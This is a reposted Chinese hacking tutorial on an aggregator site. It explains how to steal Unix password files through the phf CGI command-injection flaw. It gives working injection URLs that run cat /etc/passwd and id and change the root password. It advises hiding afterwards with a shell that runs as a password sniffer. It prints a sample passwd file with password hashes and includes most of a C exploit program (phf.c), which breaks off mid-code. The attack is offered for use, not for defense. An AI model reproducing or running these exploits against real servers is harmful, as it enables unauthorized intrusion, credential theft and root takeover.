当前位置: 首页
网络安全
从Unix系统获取密码档的方法(一)

从Unix系统获取密码档的方法(一)

热心网友 时间:2026-07-21
转载

本文将深入探讨UNIX系统密码文件的相关知识,带你了解从UNIX系统中获取密码文件的各种途径——部分方法需要有效账号,另一些则无需账号即可操作。同时,我们还将详细对比完整的密码文件与shadow密码文件的区别,并介绍如何读取shadow密码文件。 PHF:WWW的PH查询 当WWW服务器的cgi-b

本文将深入探讨UNIX系统密码文件的相关知识,带你了解从UNIX系统中获取密码文件的各种途径——部分方法需要有效账号,另一些则无需账号即可操作。同时,我们还将详细对比完整的密码文件与shadow密码文件的区别,并介绍如何读取shadow密码文件。

PHF:WWW的PH查询

当WWW服务器的cgi-bin目录下存在一个名为phf的可执行程序(且具备执行权限x),你就可以通过WWW或Linux文本浏览器lynx访问该程序。这个功能可以用来做什么?——直接读取系统上的文件,例如/etc/passwd,并将其保存到本地机器上。

这里有一个关键点:如果httpd服务器以root用户身份运行,那么通过phf漏洞,我们甚至有可能获得该服务器的root权限,进而修改服务器上某个用户的密码。

有一个Perl脚本,它会检测由上一章getdomain.pl脚本获取的结果,以判断运行服务器的用户身份。若检测到是root用户,则记录之;若非root用户,则自动从/etc目录下读取passwd文件,并保存为domain.???.passwd格式的文件。

此外,还准备了另一个脚本,允许你从一个shell中执行单条命令。只要目标系统存在phf漏洞,你就可以在shell中输入命令行,并通过管道将其传送到远程系统上执行。

接下来,让我们开始学习如何利用phf漏洞。

打开你常用的Web浏览器,或UNIX系统中常见的lynx文本浏览器,并连接到网络。浏览器窗口出现后,按下g键(即使用浏览器的“go”功能)。你会看到类似以下内容(以lynx为例):

URL to open: 
Arrow keys: Up and Down to move. Right to follow a link; Left to go back. 
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

在“URL to open:”提示处输入:http://xxx.org/cgi-bin/phf/?Qalias=xid

返回结果如下:

QUERY RESULTS 

/usr/local/bin/ph -m alias=x id 
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

这表明运行服务器的用户是nobody。虽然暂时还不是root,但事情才刚刚开始。;-)

完整的命令行格式为:http://afp.org/cgi-bin/phf/?Qalias=xid

这里的“id”是一条命令,用于要求服务器返回当前用户的ID。有时需要指定完整路径,例如:http://afp.org/cgi-bin/phf/?Qalias=x/usr/bin/id

请注意后续命令行中的内容。如果需要输入空格符,必须使用%20代替。以下是几个常用的命令行示例(均以%20开头):

  • 查看passwd密码文件:%20/bin/cat%20/etc/passwd
  • 获取/etc目录下所有以pass开头的文件详细列表:%20ls%20-al%20/etc/pass*
  • 如果拥有httpd的root权限,备份passwd文件:%20cp%20/etc/passwd%20/etc/passwd.my
  • 更改root用户密码:%20passwd%20root

上述命令可让你在后续以root用户登录时无需输入密码。但别忘了之后要将passwd.my恢复为passwd,删除备份文件,然后运行一个合适的shell隐藏自身,作为嗅探器来获取所需密码。

只要熟悉UNIX命令输入方式,并牢记用%20代替空格符,就不会遇到太大困难!

那么,现在让我们来获取具体的passwd文件内容。;-)

在浏览器中输入:http://xxx.org/cgi-bin/phf/?Qalias=xcat%20/etc/passwd

你会看到:

QUERY RESULTS 

/usr/local/bin/ph -m alias=x cat /etc/passwd 
root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash 
bin:*:1:1:bin:/bin: 
daemon:*:2:2:daemon:/sbin: 
adm:*:3:4:adm:/var/adm: 
lp:*:4:7:lp:/var/spool/lpd: 
sync:*:5:0:sync:/sbin:/bin/sync 
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown 
halt:*:7:0:halt:/sbin:/sbin/halt 
mail:*:8:12:mail:/var/spool/mail: 
news:*:9:13:news:/usr/lib/news: 
uucp:*:10:14:uucp:/var/spool/uucppublic: 
operator:*:11:0:operator:/root:/bin/bash 
games:*:12:100:games:/usr/games: 
man:*:13:15:man:/usr/man: 
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash 
nobody:*:-2:100:nobody:/dev/null: 
ftp:*:404:1::/home/ftp:/bin/bash 
guest:*:405:100:guest:/dev/null:/dev/null 
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash 
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash 
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

一个简洁的密码文件内容。:-) 如需保存该文件,可以在文本浏览器中选择“打印”并“保存为文件”。

接下来,我们来解读passwd文件的结构:

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash 
1        :2               :3  :4  :5             :6          :7
  • 1 = 用户名
  • 2 = 被加密的密码
  • 3 = 用户标识
  • 4 = 用户组ID
  • 5 = 真实名字
  • 6 = 用户根目录
  • 7 = Shell

如果你不想使用WWW浏览器,也可以编译并执行以下脚本,同样能达到目的:

phf.c 
------ cut here---- 
/* Some small changes for efficiency by snocrash. */ 
/* 
* cgi-bin phf exploit by loxsmith [xf] 
* 
* I wrote this in C because not every system is going to ha ve lynx. Also, 
* this sa ves the time it usually takes to remember the syntatical format 
* of the exploit. Because of the host lookup mess, this will take 
* approximately 12 seconds to execute with a verage network load. Be patient. 
* 
*/ 
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  

int main(argc, argv) 
int argc; 
char **argv; 
{ 
    int i = 0, s, port, bytes = 128; 
    char exploit[0xff], buffer[128], hostname[256], *command, j[2]; 
    struct sockaddr_in sin; 
    struct hostent *he; 

    if (argc != 3 && argc != 4) { 
        fprintf(stderr, "Usage: %s command hostname [port]", argv[0]); 
        exit(1); 
    } 

    command = (char *)malloc(strlen(argv[1]) * 2); 
    while (argv[1][i] != '\0') { 
        if (argv[1][i] == 32) strcat(command, "%20"); 
        else { 
            sprintf(j, "%c", argv[1][i]); 
            strcat(command, j); 
        } 
        i++; 
    } 

    strcpy(hostname, argv[2]); 
    if (argc == 4) port = atoi(argv[3]); 
    else port = 80; 

    if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) { 
        he = gethostbyname(hostname); 
        if (he) { 
            sin.sin_family = he->h_addrtype; 
            memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], he->h_length); 
        } else { 
            fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname); 
            exit(1); 
        } 
    } 

    sin.sin_family = AF_INET; 
    sin.sin_port = htons((u_short) port); 

    if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) { 
        fprintf(stderr, "%s: could not get socket\n", argv[0]); 
        exit(1); 
    } 

    if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { 
        close(s); 
        fprintf(stderr, "%s: could not establish connection\n", argv[0]); 
        exit(1); 
    } 

    sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%s\n", command); 
    free(command); 
    write(s, exploit, strlen(exploit));
来源:https://www.jb51.net/hack/5159.html

游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。

同类文章
更多
零基础Python网络安全学习指南,包住宿实战培训

零基础Python网络安全学习指南,包住宿实战培训

先抛出几个核心判断:网络安全人才缺口确实已经超过70万。这个数字不算夸张,各大招聘网站上安全岗位的薪资涨幅和需求增长都是实实在在的。但实话实说,行业真正缺的是能上手干活的人,不是只懂几个理论概念的新手。因此,一套扎实且成体系的训练方案,对于零基础转行或进阶提升就显得格外关键。 从零基础到能够独立应对

时间:2026-07-25 22:28
网络安全定义与核心概念详解

网络安全定义与核心概念详解

谈到网络安全,不同组织与标准体系对其定义虽有差异,但核心目标高度统一:保护信息与系统不受威胁侵害。以下梳理几种主流定义—— 什么是网络安全? 国际标准化组织(ISO)在ISO-74982文献中将安全定义为:最大程度地降低数据和资源遭受攻击的可能性。该定义虽简短,却精准点出安全的本质——即风险控制。

时间:2026-07-25 22:28
IIS 7.0网站漏洞利用与修复方法指南

IIS 7.0网站漏洞利用与修复方法指南

先来聊聊当前网络安全领域比较流行的一种实战技巧——以PHP环境为例,详细讲解图片马合并与解析漏洞利用的具体操作步骤。整个过程并不复杂,但细节往往决定成败,大家跟着流程逐步操作即可。 合并一张PHP一句话图片马 首先,我们需要将一句话木马脚本与一张正常图片合并,生成一个看似无害的图片文件。合并方式主要

时间:2026-07-25 22:28
织梦管理系统后台查找功能教程

织梦管理系统后台查找功能教程

通过SQL注入漏洞获取织梦CMS(DedeCMS)管理员密码后,满怀期待地准备进入后台,却发现怎么也找不到登录入口——这种情况其实相当常见。别着急,这里有一个实用的技巧值得尝试。 直接在网站地址后面添加以下路径: include dialog select_media php?f=form1 mur

时间:2026-07-25 22:28
微软IE浏览器BrowseDialog类(ccrpbds6.dll)拒绝服务安全漏洞深度分析

微软IE浏览器BrowseDialog类(ccrpbds6.dll)拒绝服务安全漏洞深度分析

BrowseDialog Class (ccrpbds6 dll) 导致 Internet Explorer 拒绝服务漏洞分析 该漏洞的PoC(概念验证代码)实现极为直接——触发浏览器崩溃的条件简单得令人意外。测试环境采用Windows XP Professional SP2(已安装全部补丁)并运行

时间:2026-07-25 22:10
热门专题
更多
刀塔传奇破解版无限钻石下载大全 刀塔传奇破解版无限钻石下载大全
洛克王国正式正版手游下载安装大全 洛克王国正式正版手游下载安装大全
思美人手游下载专区 思美人手游下载专区
好玩的阿拉德之怒游戏下载合集 好玩的阿拉德之怒游戏下载合集
不思议迷宫手游下载合集 不思议迷宫手游下载合集
百宝袋汉化组游戏最新合集 百宝袋汉化组游戏最新合集
jsk游戏合集30款游戏大全 jsk游戏合集30款游戏大全
宾果消消消原版下载大全 宾果消消消原版下载大全
  • 热门数据榜